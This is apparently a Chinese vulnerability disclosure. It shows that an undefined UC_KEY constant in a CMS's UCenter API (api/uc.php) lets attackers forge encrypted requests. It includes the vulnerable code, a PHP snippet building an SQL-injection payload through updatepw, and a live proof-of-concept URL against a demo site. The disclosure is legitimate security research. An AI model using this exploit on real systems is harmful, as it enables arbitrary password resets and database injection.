### 简要描述:
rt。
### 详细说明:
在api/uc.php中
```
define('API_RETURN_FORBIDDEN', '-2');
define('UC_CLIENT_ROOT', FR_ROOT.'/uc_client');
include_once(FR_ROOT.'/api/api_config.php');
if(defined('IN_UC')) {
exit('Invalid Request');
} else {
error_reporting(0);
set_magic_quotes_runtime(0);
!isset($db)&&$db=connectdb();
defined('MAGIC_QUOTES_GPC') || define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
$get = $post = array();
$code = @$_GET['code'];
parse_str(_authcode($code, 'DECODE', UC_KEY), $get);
if(MAGIC_QUOTES_GPC) {
$get = _stripslashes($get);
}
```
来看看所包含的这文件。
```
define('FR_API','');
//是否开启整合,空为不整合,pw为整合phpwind,uc为整合Ucenter
//此文件中的注释字符不可删除
if(FR_API&&FR_API=='uc'){
/*uc_config 开始*/
define('UC_CONNECT', 'mysql');
define('UC_DBHOST', 'localhost');
define('UC_DBUSER', 'root');
define('UC_DBPW', '123456');
define('UC_DBNAME', 'ucenter');
define('UC_DBCHARSET', 'gbk');
define('UC_DBTABLEPRE', 'uc_');
define('UC_DBCONNECT', '0');
define('UC_KEY', 'dfdfdfsdfdsfdsd');
define('UC_API', 'http://192.168.1.200/uc');
define('UC_CHARSET', 'gbk');
define('UC_IP', '');
define('UC_APPID', '1');
define('UC_PPP', '20');
/*uc_config 结束*/
if(!defined('UC_CLIENT_VERSION')){
@include_once(FR_ROOT.'/uc_client/client.php');
}
}elseif(FR_API&&FR_API=='pw'){
define('P_W','admincp');
require_once(FR_ROOT.'/api/pw_api/security.php');
require_once(FR_ROOT.'/api/pw_api/pw_common.php');
/*pw_config 开始*/
define('UC_DBHOST', 'localhost');
define('UC_DBUSER', 'root');
define('UC_DBPW', '123456');
define('UC_DBNAME', 'phpwind');
define('UC_DBCHARSET', 'gbk');
define('UC_DBTABLEPRE', 'pw_');
define('UC_DBCONNECT', '0');
define('UC_KEY', '1u0ckr7zbyl58xqwljrq');
define('UC_API', 'http://192.168.1.200');
define('UC_CHARSET', 'gbk');
define('UC_IP', '');
define('UC_APPID', '2');
/*pw_config 结束*/
$uc_appid=UC_APPID;
$uc_key=UC_KEY;
```
这里一开始define('FR_API','') 为空
然后肯定就不能进入那两个if
就没有赋值
```
parse_str(_authcode($code, 'DECODE', UC_KEY), $get);
if(MAGIC_QUOTES_GPC) {
$get = _stripslashes($get);
}
```
那么这个UC_KEY 就是UC_KEY
就可以调用一个函数来生成语句了。
随便找一个函数。
```
function updatepw($get, $post) {
global $db;
if(!API_UPDATEPW) {
return API_RETURN_FORBIDDEN;
}
$username = $get['username'];
$password = $get['password'];
$newpw = md5($password);
$db->query("UPDATE ".$this->tablepre."member SET m_pwd='$newpw' WHERE m_login='$username'");
return API_RETURN_SUCCEED;
}
```
这里用户名和密码都是我们生成的语句所传递进来的 所以我们可以update任意会员的密码 。
当然也可以注入。
```
$code=urlencode(_authcode("time=999999999999999999999999&username=aaaa'&action=updatepw", 'ENCODE', $uc_key));
echo $code;exit;
```
这里我调用函数生成一下加密字符串
得到
ece1D670hYzmEkiFD%2FnY%2Fm5PqCzmA99OphcKcW5cb4dL3AzW%2BL73lRDDdNngdeYQnYzE6wYCC4WoIef2%2FKhd08acKElW30X4jIyIuyW3jUPADDbfsdnCcqE
[<img src="https://images.seebug.org/upload/201408/210000490f3d8432592ec513e85021bd472a37db.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/210000490f3d8432592ec513e85021bd472a37db.jpg)
可以看到报错了 成功引入了单引号。
如果这里我们生成语句的时候 把用户名和密码改一下 就可以改任意用户的密码了。
测试一下demo
http://v2014.rccms.com/api/uc.php?code=e209ygVWvjwOg2ruKoPLOsY4PmxKnRndC73%2BVooImrexNhWivklLwRzSB011MsqX5CzUzxQa2beOvkmPXY0WW63US8VJal8MxDkMvVum5KtY1KvpZYnf6wKd28M1fg
[<img src="https://images.seebug.org/upload/201408/2100014781185ca5bf55789e65c2a4b7c39859a3.jpg" alt="4.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/2100014781185ca5bf55789e65c2a4b7c39859a3.jpg)
可以看到报错了 自然也就是引入单引号了。
### 漏洞证明:
http://v2014.rccms.com/api/uc.php?code=e209ygVWvjwOg2ruKoPLOsY4PmxKnRndC73%2BVooImrexNhWivklLwRzSB011MsqX5CzUzxQa2beOvkmPXY0WW63US8VJal8MxDkMvVum5KtY1KvpZYnf6wKd28M1fg
[<img src="https://images.seebug.org/upload/201408/2100014781185ca5bf55789e65c2a4b7c39859a3.jpg" alt="4.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/2100014781185ca5bf55789e65c2a4b7c39859a3.jpg)
暂无评论